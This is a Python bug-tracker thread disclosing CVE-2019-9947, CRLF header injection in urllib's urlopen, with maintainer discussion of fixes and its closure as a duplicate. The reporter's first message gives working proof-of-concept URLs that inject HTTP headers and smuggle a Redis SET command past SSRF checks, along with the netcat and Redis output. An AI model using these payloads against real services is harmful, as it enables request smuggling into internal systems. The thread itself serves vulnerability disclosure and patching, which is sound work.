Headline
CVE-2019-9947: Issue 35906: [CVE-2019-9947] Header Injection in urllib
An issue was discovered in urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \r\n (specifically in the path component of a URL that lacks a ? character) followed by an HTTP header or a Redis command. This is similar to the CVE-2019-9740 query string issue. This is fixed in: v2.7.17, v2.7.17rc1, v2.7.18, v2.7.18rc1; v3.5.10, v3.5.10rc1, v3.5.8, v3.5.8rc1, v3.5.8rc2, v3.5.9; v3.6.10, v3.6.10rc1, v3.6.11, v3.6.11rc1, v3.6.12, v3.6.9, v3.6.9rc1; v3.7.4, v3.7.4rc1, v3.7.4rc2, v3.7.5, v3.7.5rc1, v3.7.6, v3.7.6rc1, v3.7.7, v3.7.7rc1, v3.7.8, v3.7.8rc1, v3.7.9.
Created on 2019-02-06 00:32 by push0ebp, last changed 2022-04-11 14:59 by admin. This issue is now closed.
Pull Requests
URL
Status
Linked
Edit
PR 11768
closed
matrixise, 2019-02-06 08:30
PR 12524
closed
push0ebp, 2019-03-24 14:24
Messages (7)
msg334896 - (view)
Author: Sihoon Lee (push0ebp) *
Date: 2019-02-06 00:32
this patch can also be broken by path and query string. http://www.cvedetails.com/cve/CVE-2016-5699/ https://bugs.python.org/issue30458
can succeed to inject HTTP header and be more critical by bypassing illegal header check
Vulnerability PoC
import urllib.request
urllib.request.urlopen(‘http://127.0.0.1:1234/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n’) or urllib.request.urlopen(‘http://127.0.0.1:1234/HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n’)
nc -lv 1234 GET /?q=HTTP/1.1 Header: Value Header2: HTTP/1.1 Accept-Encoding: identity Host: 127.0.0.1:1234 User-Agent: Python-urllib/3.8 Connection: close
we can inject headers completely.
Redis
redis also be affected by bypassing SSRF protection checking header “host:” with this injection.
urllib2.urlopen(‘http://127.0.0.1:6379/?q=HTTP/1.1\r\nSET VULN POC\r\nHeader2:\r\n’).read() ‘$-1\r\n+OK\r\n-ERR unknown command `Header2:`, with args beginning with: `HTTP/1.1`, \r\n-ERR unknown command `Accept-Encoding:`, with args beginning with: `identity`, \r\n’
$ redis-cli 127.0.0.1:6379> GET VULN “POC”
Root Cause
https://github.com/python/cpython/commit/cc54c1c0d2d05fe7404ba64c53df4b1352ed2262
- _hostprog = re.compile(‘^//([^/?]*)(.*)$’)
- _hostprog = re.compile('//([^/#?]*)(.*)', re.DOTALL)
It could succeed to parse host because of re.DOTALL re.DOTALL gave the opportunity of injection.
this version of the commit was 3.4.7+
this vulnerability can be affected 3.4.7+ ~ 3.8-dev <- I tested it. also, python 2.7.15 can be affected. I don’t know which python2 version is affected because not test.
maybe after the commit, all of higher versions can trigger this vulnerability.
Conclusion
this patch provides more critical vulnerability to bypass the illegal header check. and we can inject HTTP header completely in urlopen() from this patch.
(Although this vulnerability is old on 12 Jul 2017, I don’t know why no one has submitted issue still now XDD)
msg334906 - (view)
Author: Stéphane Wirtel (matrixise) *
Date: 2019-02-06 08:32
Hi all,
Not sure for the right way for this fix but here is a PR. I am interested by your feedback.
Thank you
msg334999 - (view)
Author: Sihoon Lee (push0ebp) *
Date: 2019-02-07 03:05
Sorry, I’m late. My review is here. https://github.com/python/cpython/pull/11768
msg335000 - (view)
Author: Martin Panter (martin.panter) *
Date: 2019-02-07 03:34
Maybe related to Victor’s “Issue 1” described in Issue 32085. That is also a security bug about CRLF in the URL’s path, but was opened before Issue 30500 was opened and the code changed, so I’m not sure if it is the same as this or not.
Also there is Issue 13359, a proposal to automatically percent-encode invalid URLs. For a security fix, I’m not sure but it might be safer to raise an exception, rather than rewriting the invalid URL to a valid one.
msg335005 - (view)
Author: Sihoon Lee (push0ebp) *
Date: 2019-02-07 06:20
Yes, I thought so. before the commit version i said, the previous version(~3.4.6), raised an exception(no host given~) in urlopen failing parsing host. If this patch wants to be same as the previous version, It is right to raise an exception like the previous version. I thought there is no exact answer, only depends on Python features.
msg339835 - (view)
Author: STINNER Victor (vstinner) *
Date: 2019-04-10 08:51
According to https://bugzilla.redhat.com/show_bug.cgi?id=1695572, the CVE-2019-9947 has been assigned to this issue.
msg339842 - (view)
Author: Gregory P. Smith (gregory.p.smith) *
Date: 2019-04-10 09:32
my fix proposed in issue30458 fixes this issue.
i do not think this one deserved its own CVE; at least https://nvd.nist.gov/vuln/detail/CVE-2019-9947’s current text also points to the other one.
History
Date
User
Action
Args
2022-04-11 14:59:10
admin
set
github: 80087
2019-04-10 09:32:49
gregory.p.smith
set
keywords: patch, patch, patch
status: open -> closed
stage: patch review -> resolved
2019-04-10 09:32:36
gregory.p.smith
set
nosy: + gregory.p.smith
messages: + msg339842
superseder: [security][CVE-2019-9740][CVE-2019-9947] HTTP Header Injection (follow-up of CVE-2016-5699)
keywords: patch, patch, patch
resolution: duplicate
2019-04-10 08:51:12
vstinner
set
title: Header Injection in urllib -> [CVE-2019-9947] Header Injection in urllib
nosy: + vstinner
messages: + msg339835
keywords: patch, patch, patch
2019-04-09 15:44:44
ware
set
nosy: + ware
2019-03-24 14:31:57
xtreak
set
keywords: patch, patch, patch
nosy: + orsenthil
2019-03-24 14:30:26
push0ebp
set
pull_requests: - pull_request12476
2019-03-24 14:25:01
push0ebp
set
pull_requests: + pull_request12476
2019-03-24 14:24:40
push0ebp
set
pull_requests: + pull_request12475
2019-03-24 14:18:17
push0ebp
set
pull_requests: - pull_request12474
2019-03-24 14:15:43
push0ebp
set
pull_requests: + pull_request12474
2019-02-07 06:20:03
push0ebp
set
messages: + msg335005
2019-02-07 03:34:00
martin.panter
set
keywords: patch, patch, patch
messages: + msg335000
2019-02-07 03:05:31
push0ebp
set
messages: + msg334999
2019-02-06 08:56:06
matrixise
set
pull_requests: - pull_request11730
2019-02-06 08:55:55
matrixise
set
pull_requests: - pull_request11731
2019-02-06 08:32:11
matrixise
set
keywords: patch, patch, patch
nosy: + matrixise
messages: + msg334906
2019-02-06 08:30:42
matrixise
set
keywords: + patch
stage: patch review
pull_requests: + pull_request11731
2019-02-06 08:30:36
matrixise
set
keywords: + patch
stage: (no value)
pull_requests: + pull_request11730
2019-02-06 08:30:28
matrixise
set
keywords: + patch
stage: (no value)
pull_requests: + pull_request11729
2019-02-06 02:23:47
xtreak
set
nosy: + martin.panter
2019-02-06 00:33:33
rhettinger
set
nosy: + christian.heimes
2019-02-06 00:32:11
push0ebp
create
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